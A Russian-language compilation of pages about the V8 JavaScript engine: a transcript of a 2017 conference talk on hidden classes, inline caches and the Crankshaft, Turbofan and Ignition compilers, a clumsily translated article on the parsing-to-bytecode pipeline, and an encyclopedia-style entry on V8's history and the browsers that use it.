V8 движок: V8 под капотом / Хабр

Содержание

V8 под капотом / Хабр

Ведущий разработчик Яндекс.Деньги Андрей Мелихов (также редактор/переводчик сообщества devSchacht) на примере движка V8 рассказывает о том, как и через какие стадии проходит программа, прежде чем превращается в машинный код, и зачем на самом деле нужен новый компилятор.

Материал подготовлен на основе доклада автора на конференции HolyJS 2017, которая проходила в Санкт-Петербурге 2-3 июня. Презентацию в pdf можно найти по этой ссылке.

Несколько месяцев назад вышел фильм «Последний убийца драконов». Там, если протагонист убивает дракона, то в мире исчезает магия. Я хочу сегодня выступить антагонистом, я хочу убить дракона, потому что в мире JavaScript нет места для магии. Все, что работает, работает явно. Мы должны разобраться, как оно устроено, чтобы понимать, как оно работает.

Я хочу поделиться с вами своей страстью. В какой-то момент времени я осознал, что плохо знаю, как устроен под капотом V8. Я начал читать литературу, смотреть доклады, которые в основном на английском, накопил знания, систематизировал и хочу их довести до вас.

Интерпретируемый или компилируемый у нас язык?

Я надеюсь, все знают отличие, но повторю. Компилируемые языки: в них исходный код преобразуется компилятором в машинный код и записывается в файл. В них используется компиляция до выполнения. В чем преимущество? Его не нужно повторно компилировать, он максимально автоматизирован для той системы, под которую скомпилирован. В чем недостаток? Если у вас меняется операционная система, и если у вас нет исходников, вы теряете программу.

Интерпретируемые языки – когда исходный код исполняется программой-интерпретатором. Преимущества в том, что легко достичь кроссплатформенности. Мы поставляем наш исходный код как есть, и если в этой системе есть интерпретатор, то код будет работать. Язык JavaScript, конечно, интерпретируемый.

Погрузимся в историю. В 2008 выходит браузер Chrome. В том году Google презентовал новый движок V8. В 2009 году на том же самом движке была представлена Node.js, которая состояла из V8 и библиотеки libUV, которая обеспечивает io, т.е. обращение к файлам, сетевые какие-то вещи и т.д. В общем, две очень важные вещи для нас построены на движке V8. Посмотрим, из чего он состоит.

В 2008 году движок был довольно прост внутри. Ну, относительно прост — схема его была простая. Исходный код попадал в парсер, из парсера — в компилятор, и на выходе мы получали полуоптимизированный код. Полуоптимизированный, потому что хорошей оптимизации тогда еще не было. Возможно, в те годы приходилось писать лучший JavaScript, потому что нельзя было надеяться на то, что оптимизатор его сам внутри заоптимизирует.

Для чего в этой схеме нужен парсер?

Парсер нужен для того, чтобы превращать исходный код в абстрактное синтаксическое дерево или AST. AST – такое дерево, в котором все вершины — операторы, а все листья — это операнды.

Посмотрим на примере математического выражения. У нас такое дерево, все вершины – операторы, ветви – операнды. Чем оно хорошо — тем, что из него очень легко генерировать позже машинный код. Кто работал с Assembler, знает, что чаще всего инструкция состоит из того, что сделать и с чем сделать.

И вот здесь как раз мы можем смотреть, являемся ли мы в текущей точке оператором или операндом. Если это оператор, смотрим его операнды и собираем команду.

Что в JavaScript происходит, если у нас есть, например, массив, и мы запрашиваем из него элемент по индексу 1? Появляется такое абстрактное синтаксическое дерево, у которого оператор «загрузить свойство по ключу», а операнды – это объект и ключ, по которому мы загружаем это свойство.

Зачем в JavaScript компилятор?

Как я сказал, язык у нас интерпретируемый, но в его схеме мы видим компилятор. Зачем он? На самом деле есть два типа компиляторов. Есть компиляторы (ahead-of-time), которые компилируют до выполнения, и компиляторы JIT, которые компилируют во время выполнения. И за счет JIT-компиляции получается хорошее ускорение. Для чего это нужно? Давайте сравним.

Есть один и тот же код. Один на Pascal, другой на JavaScript. Pascal — прекрасный язык. Я считаю, что с него и надо учиться программировать, но не с JavaScript. Если у вас есть человек, который хочет научиться программировать, то покажите ему Pascal или C.

В чем отличие? Pascal может быть и компилируемым и интерпретируемым, а JavaScript требует уже интерпретации. Самое важное отличие – это статическая типизация.

Потому что, когда мы пишем на Pascal, мы указываем переменные, которые необходимы, а потом пишем их типы. Потом компилятору легко построить хороший оптимизированный код. Как мы обращаемся к переменным в память? У нас есть адрес, и у нас есть сдвиг. Например, Integer 32, то мы делаем сдвиг на 32 по этому адресу в память и получаем данные.

В JavaScript нет, у нас типы всегда меняются во время выполнения, и компилятор, когда выполняет этот код, первый раз он его выполняет как есть, но собирает информацию о типах. И второй раз, когда он выполняет ту же самую функцию, он уже основываясь на данных, которые он получил в прошлый раз, предположив, какие были там типы, может сделать какую-то оптимизацию. Если с переменными все понятно, они определяются по значению, то что у нас с объектами?

Ведь у нас JavaScript, у него прототипная модель, и классов для объектов у нас нет. На самом деле есть, но они не видны. Это так называемые Hidden Classes. Они видны только самому компилятору.

Как создаются Hidden Classes?


У нас есть point – это конструктор, и создаются объекты. Сначала создается hidden class, который содержит только сам point.

Дальше у нас устанавливается свойство этого объекта x и из того, что у нас был hidden class, создаётся следующий hidden class, который содержит x.

Дальше у нас устанавливается y и, соответственно, мы получаем еще один hidden class, который содержит x и y.

Так мы получили три hidden class. После этого, когда мы создаем второй объект, используя тот же самый конструктор, происходит то же самое. Уже есть hidden classes, их уже не нужно создавать, с ними необходимо только сопоставить. Для того, чтобы позже мы знали, что эти два объекта одинаковы по структуре. И с ними можно похоже работать.

Но что происходит, когда мы позже еще добавляем свойство в объект p2? Создается новый hidden class, т.е. p1 и p2 уже не похожи. Почему это важно? Потому что, когда компилятор будет перебирать в цикле point, и вот у него будут все такие же, как p1, он их крутит, крутит, крутит, натыкается на p2, а у него другой hidden class, и компилятор уходит в деоптимизацию, потому что он получил не то, что ожидал.

Это так называемая утиная типизация. Что такое утиная типизация? Выражение появилось из американского сленга, если что-то ходит как утка, крякает как утка, то это утка. Т.е. если у нас p1 и p2 по структуре одинаковы, то они принадлежат к одному классу. Но стоит нам добавить в структуру p2 еще, и эти утки крякают по-разному, соответственно, это разные классы.

И вот мы получили данные о том, к каким классам относятся объекты, и получили данные о том, какого рода переменные, где эти данные использовать и как их хранить. Для этого используется система Inline Caches.

Рассмотрим, как происходит создание Inline Caches для этой части. Сначала, когда у нас код анализируется, он дополняется такими вызовами. Это только инициализация. Мы еще не знаем, какого типа будет у нас наш Inline Caches.

Мы можем сказать, что вот в этом месте проиницилизируй его, вот здесь загрузка this.primes:

Вот здесь загрузка по ключу:

А дальше операция BinaryOperation — это не значит, что она двоичная, это значит что она бинарная, а не унарная операция. Операция, у которой есть левая и правая части.

Что происходит во время выполнения?

Когда код доходит, это все подменяется на кусочки кода, которые уже у нас есть внутри компилятора, и компилятор знает, как хорошо работать с этим конкретным случаем, если мы имеем информацию о типе. То есть вот здесь подменяется на вызов кода, который знает, как получить primes из объекта:

Вот здесь подменяется на код, который знает, как получить элемент из массива SMI:

Здесь на код, который знает как посчитать остаток от деления двух SMI:

Он уже будет оптимизирован. И вот так примерно работал компилятор, насыщая такими кусочками.


Это, конечно, дает некоторый overhead, но и дает производительность.

У нас интернет развивался, увеличивалось количество JavaScript, требовалось большая производительность, и компания Google ответила созданием нового компилятора Crankshaft.

Старый компилятор стал называться FullCodegen, потому что он работает с полной кодовой базой, он знает весь JavaScript, как его компилировать. И он производит неоптимизированный код. Если он натыкается на какую-то функцию, которая вызывается несколько раз, он считает, что она стала горячей, и он знает, что компилятор Crankshaft может ее оптимизировать. И он отдает знания о типах и о том, что эту функцию можно оптимизировать в новый компилятор Crankshaft. Дальше новый компилятор заново получает абстрактное синтаксическое дерево. Это важно, что он получает не от старого компилятора AST, а снова идет и запрашивает AST. И зная о типах, делает оптимизацию, и на выходе мы получаем оптимизированный код.

Если он не может сделать оптимизацию, он сваливается в деоптимизацию. Когда это происходит? Вот как я сказал раньше, например, у нас в цикле Hidden Class крутится, потом неожиданное что-то и мы вывалились в деоптимизацию. Или, например, многие любят делать проверку, когда у нас есть что-то в левой части, и мы берем, например, длину, т.е. мы проверяем, есть ли у нас строка, и берем ее длину. Чем это плохо? Потому, что когда у нас строки нет, то в левой части у нас получается Boolean и на выходе получается Boolean, а до этого шел Number. И вот в этом случае мы сваливаемся в деоптимизацию. Или он встретил код, не может его оптимизировать.

На примере того же кода. Вот у нас был код насыщенный инлайн-кэшами, он весь инлайнится в новом компиляторе.

Он вставляет это все инлайново. Причем этот компилятор является спекулятивным оптимизирующим компилятором. На чем он спекулирует? Он спекулирует на знаниях о типах. Он предполагает, что если мы 10 раз вызвали с этим типом, то и дальше будет этот тип. Везде есть такие проверки на то, что пришел тот тип, который он ожидал, и когда приходит тип, которого он не ожидал, то он сваливается в деоптимизацию. Эти улучшения дали хороший прирост производительности, но постепенно команда, занимающаяся движком V8, поняла, что все надо начать с нуля. Почему? Вот есть такой способ разработки ПО, когда мы пишем первую версию, а вторую версию мы пишем с нуля, потому что мы поняли, как надо было писать. И создали новый компилятор – Turbofan в 2014 году.

У нас есть исходный код, который попадает в парсер, далее в компилятор FullCodegen. Так было до этого, никаких отличий. На выходе мы получаем неоптимизированный код. Если мы можем сделать какую-либо оптимизацию, то мы уходим в два компилятора, Crankshaft и Turbofan. FullCodegen сам решает, может ли оптимизировать конкретные вещи компилятор Turbofan, и если может, то отправляет в него, а если не может, то отправляет в старый компилятор. Туда постепенно стали добавлять новые конструкции из ES6. Начали с того, что заоптимизировали asm.js в него.

Зачем нужен новый компилятор?


  1. Улучшить базовую производительность
  2. Сделать производительность предсказуемой
  3. Уменьшить сложность исходного кода

Что значит «улучшить базовую производительность»?

Старый компилятор был написан в те годы, когда у нас стояли мощные десктопы. И его тестировали на таких тестах, как octane, синтетических, которые проверяли пиковую производительность. Недавно была конференция Google I/O, и там менеджер, управляющий разработкой V8, завил, что они отказались в принципе от octane, потому что он не соответствует тому, с чем на самом деле работает компилятор. И это привело к тому, что у нас была очень хорошая пиковая производительность, но очень просела базовая, т.е. были не заоптимизированы вещи в коде, и когда код, хорошо работающий, натыкался на такие вещи, то шло значительное падение производительности. И таких операций скопилось много, вот несколько из них: forEach, map, reduce. Они написаны на обычном JS, нашпигованы проверками, сильно медленней, чем for. Часто советовали использовать for.

Медленная операция bind – она реализована внутри, оказывается, совершенно ужасно. Многие фреймворки писали свои реализации bind. Часто люди говорили, что я сел, написал на коленке bind и он работает быстрее, удивительно. Функции, содержащие try{}catch(e){}(и finally), – очень медленные.

Часто встречалась такая табличка, что лучше не использовать, чтобы не просела производительность. На самом деле код работает медленно, потому что компилятор работает неправильно. И с приходом Turbofan можно забыть об этом, потому что все уже заоптимизировано. Также очень важно: была улучшена производительность асинхронных функций.

Поэтому все ждут релиза новой node’ы, которая недавно вышла, там важна как раз производительность с async/await’ами. У нас язык асинхронный изначально, а пользоваться хорошо мы могли только callback’ами. И кто пишет с promise, знают, что их сторонние реализации работают быстрее, чем нативная реализация.

Следующей была задача сделать производительность предсказуемой. Была ситуация такая: код, который отлично показывал себя на jsPerf, при вставке в рабочий код показывал уже совсем другую производительность. Но и другие такие же случаи, когда мы не могли гарантировать, что наш код будет работать так же производительно, как мы изначально предполагали.

Например, у нас есть такой довольно простой код, который вызывает mymax, и если мы проверим его (при помощи ключей trace-opt и trace-deopt – показывают, какие функции были оптимизированы, а какие нет).

Мы можем запустить это с node, а можем и с D8 – специальной средой, где V8 работает отдельно от браузера. Она нам показывает, что оптимизации были отключены. Потому что слишком много раз запускался на проверку. В чем проблема? Оказывается, псевдомассив arguments — слишком большой, и внутри, оказывается, стояла проверка на размер этого массива. Причем эта проверка, как сказал Benedikt Meurer (ведущий разработчик Turbofan), не имела никакого смысла, она просто copypaste-ом с годами переходила.

И почему ограничена длина? Ведь не проверяется размер стека, ничего, вот просто так была ограничена. Это неожиданное поведение, от которого необходимо было избавляться.

Другой пример, вот у нас есть dispatcher, который вызывает два callback. Так же, если мы его вызовем, то увидим, что он был деоптимизирован. В чем здесь проблема? В том, что одна функция является strict, а вторая не strict. И у них в старом компиляторе получаются разные hidden classes. Т.е. он считает их разными. И в этом случае он так же уходит на деоптимизацию. И этот, и предыдущий код, он написан в принципе правильно, но он деоптимизируется. Это неожиданно.

Еще был вот такой пример в твиттере, когда оказалось, что в некоторых случаях цикл for в chrome работал даже медленнее, чем reduce. Хотя мы знаем, что reduce медленнее. Оказалось, проблема в том, что внутри for использовался let – неожиданно. Я поставил даже последнюю версию на тот момент и результат уже хороший – исправили.

Следующий пункт был — уменьшить сложность. Вот у нас была версия V8 3.24.9 и она поддерживала четыре архитектуры.

Сейчас же V8 поддерживает девять архитектур!

И код копился годами. Он был написан частично на C, Assembler, JS, и вот так примерно ощущал себя разработчик, который приходил в команду.

Код должен легко изменяться, чтобы можно было реагировать на изменения в мире. И с введением Turbofan количество архитектурно-специфичного кода уменьшилось.

С 2013 по 2017 года стало на 29% меньше архитектурно-специфичного кода. Это произошло за счет появления новой архитектуры генерации кода в Turbofan.

Они ее сделали управляемой данными, т.е. у нас есть граф управляющего потока, который содержит данные и знание о том, что с ними должно произойти. И он попадает в общий селектор команд, потом происходит резервирование регистров и далее генерация кода под разные архитектуры. Т.е. разработчику уже не надо знать, как написано все под конкретные архитектуры, а можно сделать более общий код. Вот так все происходило, хорошо улучшали код, но постепенно через несколько лет, после того как написали компилятор для интерпретируемого языка, оказалось, что все же нужен интерпретатор.

А в чем причина? Причину держит в руках Стив Джобс.

Это, конечно, не сам iPhone, а те смартфоны, которые породил iPhone, которые дали удобный доступ в интернет. И это привело к тому, что количество пользователей на мобильных устройствах превысило количество на десктопах.

А первоначально компиляторы разрабатывались для мощных десктопов, а не для мобильных устройств.

Вот схема времени первичного анализа 1МБ JavaScript. И недавно был вопрос, почему ВКонтакте делает серверный рендеринг, а не клиентский. Потому что время, потраченное на анализ JS, может быть в 2-5 раз больше на мобильных устройствах. И это мы говорим о топовых устройствах, а люди зачастую ходят с совсем другими.

И еще одна проблема: у многих китайских устройствах памяти 512 МБ, а если посмотреть, как происходит распределение памяти V8, то появляется еще одна проблема.

Память делится на объекты (то что использует наш код) и кодовые объекты (это то, что использует сам компилятор — например, хранит там inline caches). Получается, что 30% памяти занято виртуальной машиной для поддержки внутреннего использования. Мы не можем этой памятью управлять, ее сам компилятор потребляет.

С этим необходимо было что-то делать, и в 2016 году команда разработчиков Android из Лондона ответила созданием нового интерпретатора Ignition.

Вы могли заметить, что код, оптимизированный компилятором Turbofan, не обращается за синтаксическим деревом в парсер, а получает что-то из интерпретатора. Он получает байт-код.

Теперь абстрактное синтаксическое дерево парсится в байт-код, и этот парсинг JavaScript происходит один раз, дальше используется байткод.

Если кто-то не знает, байткод – это компактное платформонезависимое представление программы. Это чем-то похоже на assembler, только платформонезависимый. Так он называется, потому что все инструкции занимают один байт.

Посмотрим, как для такого кусочка программы генерируется байткод.

У нас есть программа, у нас есть сгенерированный байткод и у нас есть набор регистров.

Так мы устанавливаем значения для этих регистров входные, которые попадут в нашу программу. На первом этапе мы загружаем в специальный регистр accumulator (он нужен для того, чтобы не расходовать лишний раз регистры, а участвует только в вычислениях) smi integer равный 100.

Следующая команда нам говорит, что нужно вычесть из регистра a2 (в табличке видим там 150) предыдущее значение аккумулятора (100). В accumulator мы получили 50.

Дальше нам команда говорит, что нужно сохранить в r0. Он связан с переменной d.

Дальше становится более понятно. Снова загружаем значение из b, умножаем на значение accumulator, добавляем a0 и получаем на выходе, соответственно, 105.

И вся наша программа превращается в длинную цепочку из байткода. Таким образом уменьшилось потребление памяти, которое уходило на хранение нашего кода.

Была вторая проблема, это память, которую потребляли inline caches. Для этого перешли на новые кеши – Data-driven IC, которые уменьшают стоимость медленного пути. Медленный путь – это как работает не оптимизированный код, быстрый код – когда он оптимизирован.

Слева мы видим старую схему. Когда нам нужно найти какое-либо поле в объекте, мы храним знание о том, где оно лежит в объекте, где-то храним этот объект и умеем с ним обращаться. В новой схеме существует управляющий вектор, в котором есть данные и команды, и знание о том, что с этими командами делать. И он проходит по загрузке inline caches, на быстрый путь, если деоптимизация, то на медленный путь. И, соответственно, эта схема уже не требует хранения обращений к объектам, и она получается компактней. В итоге после внедрения схемы потребление памяти на одинаковом коде уменьшилось.

И наконец в этом году схема сильно упростилась.

Здесь мы всегда работаем в компиляторе Turbofan. Можно заметить, что раньше компилятор FullCodegen знал весь JS, а компилятор Crankshaft — только часть JS, а теперь компилятор Turbofan знает весь JS и работает со всем JS. Если он не может оптимизировать, он выдает неоптимизированный код, если может, то, соответственно, оптимизированный. И за кодом он обращается в интерпретатор.

У нас есть классы, которые не видны (многие знают, что в ES6 есть новые классы, но это просто сахар). За ними необходимо следить, ибо код для хорошей производительности должен быть мономорфным, а не полиморфным. Т.е. если у нас изменяются входящие в функцию классы, у них меняется hidden class – у объектов, которые попадают в нашу функцию, то код становится полиморфным и он плохо оптимизируется. Если у нас объекты приходят одного типа hidden class, то, соответственно, код мономорфный.

В V8 код проходит через интерпретатор и JIT-компилятор. Задача JIT-компилятора — сделать код быстрее. JIT-компилятор прогоняет наш код в цикле и каждый раз, основываясь на данных, которые получил в прошлый раз, пытается сделать код лучше. Он наполняет его знанием о типах, которые получает при первом прогоне, и за счет этого делает какие-то оптимизации. В нем внутри лежат кусочки, которые ориентированы для работы с максимальной производительностью. Если у нас в коде есть a+b – это медленно. Мы знаем, что это number+number или string+string, мы можем сделать это быстро. Вот этим занимается JIT-компилятор.

Чем лучше оптимизация, тем выше накладные расходы (время, память). Задача же интерпретатора – уменьшить накладные расходы на память. Даже с приходом Turbofan отказались от некоторых оптимизаций, которые были ранее, потому что решили повышать базовую производительность и немного снижать пиковую.

В компиляторе есть два режима работы – холодный и горячий. Холодный, это когда наша функция запущена в первый раз. Если функция запускалась несколько раз, то компилятор понимает, что она уже горяча, и пытается ее оптимизировать. Здесь есть засада с тестами. Когда разработчики гоняют тесты по много раз и получают какие-либо данные, то это уже оптимизированный горячий код. А в реальности этот код может быть вызван один-два раза и показывать совсем другую производительность. Это необходимо учитывать.

С мономорфным кодом такой же пример. То есть когда мы пишем код, мы можем помочь нашему компилятору. Мы можем писать код так, словно у нас типизированный язык (не переопределять переменные, не записывать в них разные типы, возвращать всегда один и тот же тип).

Вот и все основные секреты.

Ссылки для чтения
github.com/v8/v8/wiki/TurboFan

http://benediktmeurer.de/
http://mrale.ph/
http://darksi.de/
https://medium.com/@amel_true


Если вы любите JS так же, как мы, и с удовольствием копаетесь во всей его нутрянке, вам могут быть интересные вот эти доклады на грядущей московской конференции

HolyJS

:

Как работает JavaScript: под капотом движка V8

Сегодня мы заглянем под капот движка JavaScript V8 и выясним, как именно выполняется JavaScript.

Задний план

Веб-стандарты — это набор правил, которые реализует браузер. Они определяют и описывают аспекты Всемирной паутины.

W3C — это международное сообщество, которое разрабатывает открытые стандарты для Интернета. Они следят за тем, чтобы все следовали одним и тем же принципам и не поддерживали десятки совершенно разных сред.

Современный браузер — это довольно сложная программа с кодовой базой, состоящей из десятков миллионов строк кода. Таким образом, он разделен на множество модулей, отвечающих за разную логику.

Двумя наиболее важными частями браузера являются движок JavaScript и движок рендеринга.

Blink — это движок рендеринга, который отвечает за весь конвейер рендеринга, включая деревья DOM, стили, события и интеграцию V8. Он анализирует дерево DOM, определяет стили и определяет визуальную геометрию всех элементов.

Непрерывно отслеживая динамические изменения с помощью кадров анимации, Blink раскрашивает контент на вашем экране. Движок JS — большая часть браузера, но мы еще не вдавались в подробности.

Движок JavaScript 101

Механизм JavaScript выполняет и компилирует JavaScript в собственный машинный код. Каждый крупный браузер разработал свой собственный JS-движок: Google Chrome использует V8, Safari использует JavaScriptCore, а Firefox использует SpiderMonkey.

В частности, мы будем работать с V8, поскольку он используется в Node.js и Electron, но другие движки построены таким же образом.

Каждый шаг будет содержать ссылку на код, отвечающий за него, чтобы вы могли ознакомиться с кодовой базой и продолжить исследование после этой статьи.

Мы будем работать с зеркалом V8 на GitHub, поскольку оно предоставляет удобный и хорошо известный пользовательский интерфейс для навигации по кодовой базе.

Подготовка исходного кода

Первое, что нужно сделать V8, — это загрузить исходный код. Это можно сделать через сеть, кэш или сервис-воркеры.

Как только код получен, нам нужно изменить его так, чтобы компилятор мог его понять. Этот процесс называется парсингом и состоит из двух частей: сканера и самого парсера.

Сканер берет файл JS и преобразует его в список известных токенов. Список всех токенов JS находится в файле keywords.txt.

Анализатор поднимает его вверх и создает абстрактное синтаксическое дерево (AST): древовидное представление исходного кода. Каждый узел дерева обозначает конструкцию, встречающуюся в коде.

Давайте посмотрим на простой пример:

function foo() {
  let bar = 1;
  return bar;
}

Этот код создаст следующую древовидную структуру:

Пример дерева AST

Вы можете выполнить этот код, выполнив обход предварительного заказа (корень, влево, вправо):

  1. Определите функцию foo.
  2. Объявите переменную bar.
  3. Назначьте 1 в bar.
  4. Верните bar из функции.

Вы также увидите VariableProxy — элемент, который связывает абстрактную переменную с местом в памяти. Процесс разрешения VariableProxy называется анализом объема.

В нашем примере результат процесса VariableProxy будет указывать на одну и ту же переменную bar.

Парадигма Just-in-Time (JIT)

Обычно для выполнения кода язык программирования необходимо преобразовать в машинный код. Есть несколько подходов к тому, как и когда может произойти это преобразование.

Наиболее распространенный способ преобразования кода — выполнение предварительной компиляции. Это работает именно так, как звучит: код преобразуется в машинный код перед выполнением вашей программы на этапе компиляции.

Этот подход используется многими языками программирования, такими как C ++, Java и другими.

С другой стороны таблицы у нас есть интерпретация: каждая строка кода будет выполняться во время выполнения. Этот подход обычно используется в языках с динамической типизацией, таких как JavaScript и Python, поскольку невозможно узнать точный тип до выполнения.

Поскольку предварительная компиляция позволяет оценить весь код вместе, она может обеспечить лучшую оптимизацию и в конечном итоге произвести более производительный код. С другой стороны, интерпретацию проще реализовать, но обычно она медленнее, чем скомпилированный вариант.

Чтобы преобразовать код для динамических языков быстрее и эффективнее, был создан новый подход, названный компиляцией Just-in-Time (JIT). Он сочетает в себе лучшее из интерпретации и компиляции.

Используя интерпретацию как базовый метод, V8 может обнаруживать функции, которые используются чаще, чем другие, и компилировать их, используя информацию о типе из предыдущих выполнений.

Однако есть вероятность, что тип может измениться. Вместо этого нам нужно деоптимизировать скомпилированный код и вернуться к интерпретации (после этого мы можем перекомпилировать функцию после получения обратной связи нового типа).

Давайте рассмотрим каждую часть JIT-компиляции более подробно.

Переводчик

V8 использует интерпретатор под названием Ignition. Первоначально он берет абстрактное синтаксическое дерево и генерирует байтовый код.

Инструкции байтового кода также имеют метаданные, такие как позиции исходной строки для будущей отладки. Как правило, инструкции байтового кода соответствуют абстракциям JS.

Теперь возьмем наш пример и сгенерируем для него байт-код вручную:

LdaSmi #1 // write 1 to accumulator
Star r0   // read to r0 (bar) from accumulator 
Ldar r0   // write from r0 (bar) to accumulator
Return    // returns accumulator

В Ignition есть так называемый аккумулятор — место, где вы можете хранить / читать значения.

Аккумулятор избавляет от необходимости толкать и выдвигать верхнюю часть стопки. Это также неявный аргумент для многих байт-кодов и обычно содержит результат операции. Return неявно возвращает аккумулятор.

Вы можете проверить весь доступный байтовый код в соответствующем исходном коде. Если вам интересно, как другие концепции JS (например, циклы  async / await) представлены в байтовом коде, я считаю полезным прочитать эти ожидания тестирования.

Исполнение

После генерации Ignition интерпретирует инструкции, используя таблицу обработчиков, привязанных к байтовому коду. Для каждого байтового кода Ignition может искать соответствующие функции-обработчики и выполнять их с предоставленными аргументами.

Как мы упоминали ранее, этап выполнения также обеспечивает обратную связь типа о коде. Разберемся, как его собирают и управляют.

Во-первых, мы должны обсудить, как объекты JavaScript могут быть представлены в памяти. При наивном подходе мы можем создать словарь для каждого объекта и связать его с памятью.

Первый подход к хранению объекта

Однако обычно у нас много объектов с одинаковой структурой, поэтому было бы неэффективно хранить много дублированных словарей.

Чтобы решить эту проблему, V8 отделяет структуру объекта от самих значений с помощью форм объекта (или внутренних карт) и вектора значений в памяти.

Например, мы создаем литерал объекта:

let c = { x: 3 }
let d = { x: 5 }
c.y = 4

В первой строке он создаст фигуру Map[c], имеющую свойство x со смещением 0.

Во второй строке V8 повторно использует ту же форму для новой переменной.

После третьей строки он создаст новую форму Map[c1] для свойства y со смещением 1 и создаст ссылку на предыдущую форму Map[c].

Пример формы объекта

В приведенном выше примере вы можете видеть, что каждый объект может иметь ссылку на форму объекта, где для каждого имени свойства V8 может найти смещение для значения в памяти.

Формы объектов — это, по сути, связанные списки. Итак, если вы напишете c.x, V8 перейдет к началу списка, найдет там y, перейдет к связанной фигуре и, наконец, получит x и прочитает смещение от нее. Затем он перейдет к вектору памяти и вернет из него первый элемент.

Как вы понимаете, в большом веб-приложении вы увидите огромное количество связанных фигур. В то же время для поиска в связанном списке требуется линейное время, что делает поиск свойств действительно дорогостоящей операцией.

Чтобы решить эту проблему в V8, вы можете использовать встроенный кэш (IC). Он запоминает информацию о том, где найти свойства объектов, чтобы сократить количество поисков.

Вы можете думать об этом как о сайте для прослушивания в вашем коде: он отслеживает все события CALL, STORE и LOAD в функции и записывает все проходящие фигуры.

Структура данных для хранения IC называется вектором обратной связи. Это просто массив для хранения всех микросхем для функции.

function load(a) {
  return a.key;
}

Для приведенной выше функции вектор обратной связи будет выглядеть следующим образом:

[{ slot: 0, icType: LOAD, value: UNINIT }]

Это простая функция только с одной ИС, которая имеет тип НАГРУЗКИ и значение UNINIT. Это означает, что он не инициализирован, и мы не знаем, что будет дальше.

Давайте вызовем эту функцию с разными аргументами и посмотрим, как изменится встроенный кэш.

let first = { key: 'first' } // shape A
let fast = { key: 'fast' }   // the same shape A
let slow = { foo: 'slow' }   // new shape B

load(first)
load(fast)
load(slow)

После первого вызова функции load наш встроенный кеш получит обновленное значение:  

[{ slot: 0, icType: LOAD, value: MONO(A) }]

Это значение теперь становится мономорфным, что означает, что этот кеш может разрешиться только для формы A.

После второго вызова V8 проверит значение IC и увидит, что оно мономорфно и имеет ту же форму, что и переменнаяfast. Таким образом, он быстро вернет смещение и разрешит его.

В третий раз форма отличается от сохраненной. Таким образом, V8 вручную разрешит это и обновит значение до полиморфного состояния с помощью массива из двух возможных форм.

[{ slot: 0, icType: LOAD, value: POLY[A,B] }]

Теперь каждый раз, когда мы вызываем эту функцию, V8 ​​необходимо проверять не только одну форму, но и перебирать несколько вариантов.

Для более быстрого кода вы можете инициализировать объекты одним и тем же типом и не слишком сильно менять их структуру.

Примечание. Вы можете помнить об этом, но не делайте этого, если это приведет к дублированию кода или к менее выразительному коду.

Встроенные кеши также отслеживают, как часто они вызываются, чтобы решить, подходит ли он для оптимизации компилятора — Turbofan.

Компилятор

Зажигание только доходит до нас. Если функция становится достаточно горячей, она будет оптимизирована в компиляторе Turbofan, чтобы сделать ее быстрее.

Турбовентилятор берет байтовый код из Ignition и набирает обратную связь (вектор обратной связи) для функции, применяет набор сокращений на его основе и создает машинный код.

Как мы видели ранее, обратная связь типа не гарантирует, что она не изменится в будущем.

Например, оптимизированный код Turbofan основан на предположении, что некоторое дополнение всегда добавляет целые числа.

Но что было бы, если бы он получил строку? Этот процесс называется деоптимизацией. Мы выбрасываем оптимизированный код, возвращаемся к интерпретируемому коду, возобновляем выполнение и обновляем информацию о типе.

Резюме

В этой статье мы обсудили реализацию JS-движка и точные этапы выполнения JavaScript.

Подводя итог, давайте посмотрим на конвейер компиляции сверху.

Мы рассмотрим это шаг за шагом:

  1. Все начинается с получения кода JavaScript из сети.
  2. V8 анализирует исходный код и превращает его в абстрактное синтаксическое дерево (AST).
  3. На основе этого AST интерпретатор Ignition может начать делать свое дело и создавать байт-код.
  4. В этот момент движок запускает код и собирает отзывы о типах.
  5. Чтобы он работал быстрее, байтовый код может быть отправлен оптимизирующему компилятору вместе с данными обратной связи. Оптимизирующий компилятор делает на его основе определенные предположения, а затем создает высокооптимизированный машинный код.
  6. Если в какой-то момент одно из предположений оказывается неверным, оптимизирующий компилятор деоптимизируется и возвращается к интерпретатору.

V8 (движок JavaScript) — это… Что такое V8 (движок JavaScript)?

У этого термина существуют и другие значения, см. V8 (значения).

V8 — движок JavaScript с открытым программным кодом, распространяемый по лицензии BSD. Разработан датским отделением компании Google.

О V8

Разработка JavaScript-движка V8 началась в датском отделении Google в городе Орхус. Ведущим разработчиком стал Ларс Бак (Lars Bak). Основными проблемами, которые пришлось решать разработчикам в движке, стали производительность и масштабируемость[6]. Первая лабораторная версия движка появилась 3 июля 2008 года[5], а уже 2 сентября была официально представлена версия 0.2.5, вошедшая в первый публичный релиз Chromium[7].
Ларс Бак считал[8], что краеугольными камнями V8 являются:

  • Компиляция исходного кода JavaScript непосредственно в собственный машинный код, минуя стадию промежуточного байт-кода.
  • Эффективная система управления памятью, приводящая к быстрому объектному выделению и маленьким паузам сборки «мусора»[9].
    • V8 приостанавливает исполнение кода во время выполнения сборки «мусора».
    • Уменьшает влияние и воздействие приостановки приложения при сборке «мусора».
    • V8 может точно определять, где находятся в памяти объекты и указатели, что позволяет избежать утечки памяти при ложной идентификации объектов в качестве указателей.
  • Введение скрытых классов и встроенных кэшей, ускоряющие доступ к свойствам и вызовы функции.

V8 исполняет JavaScript-сценарии в особых «контекстах», которые по сути являются отдельными виртуальными машинами. Правда в одном процессе может работать только одна виртуальная машина, несмотря на возможность использования нескольких потоков[10]. В Chromium это обходится мультипроцессовой архитектурой, повышающей также стабильность и безопасность, реализуя таким образом механизм «песочницы»[11]. Таким образом, несмотря на динамическую природу JavaScript, разработчикам удалось применить методы, характерные для реализации классических объектно-ориентированных языков, такие как компиляция кода «на лету», внутреннее кэширование, точный процесс сборки мусора, снэпшоттинг при создании контекстов[6][10].

Движок V8 отличается от других движков (JScript, SpiderMonkey, JavaScriptCore, Nitro) высокой производительностью[12][13][14][15][16].

Продукты, использующие V8

Браузеры

  • Chromium — веб-браузер с открытым исходным кодом, на основе которого создаются ряд браузеров.
    • Google Chrome — веб-браузер от Google
    • CoolNovo — веб-браузер от Maple Studios, расширяющий возможности Chromium.
    • SRWare Iron — веб-браузер от компании SRWare, выпущенный в связи с тем, что Google Chrome отправляет компании Google сведения о пользователе.
    • Comodo Dragon — веб-браузер от Comodo с дополнительными функциями, повышающими безопасность и конфиденциальность.
    • Рамблер Нихром — веб-браузер от Рамблер с сервисами компании.[17]
    • Flock — веб-браузер, нацеленный на работу с социальными сетями[18].
    • Яндекс.Браузер — веб-браузер от Яндекс с сервисами компании.[19][20]
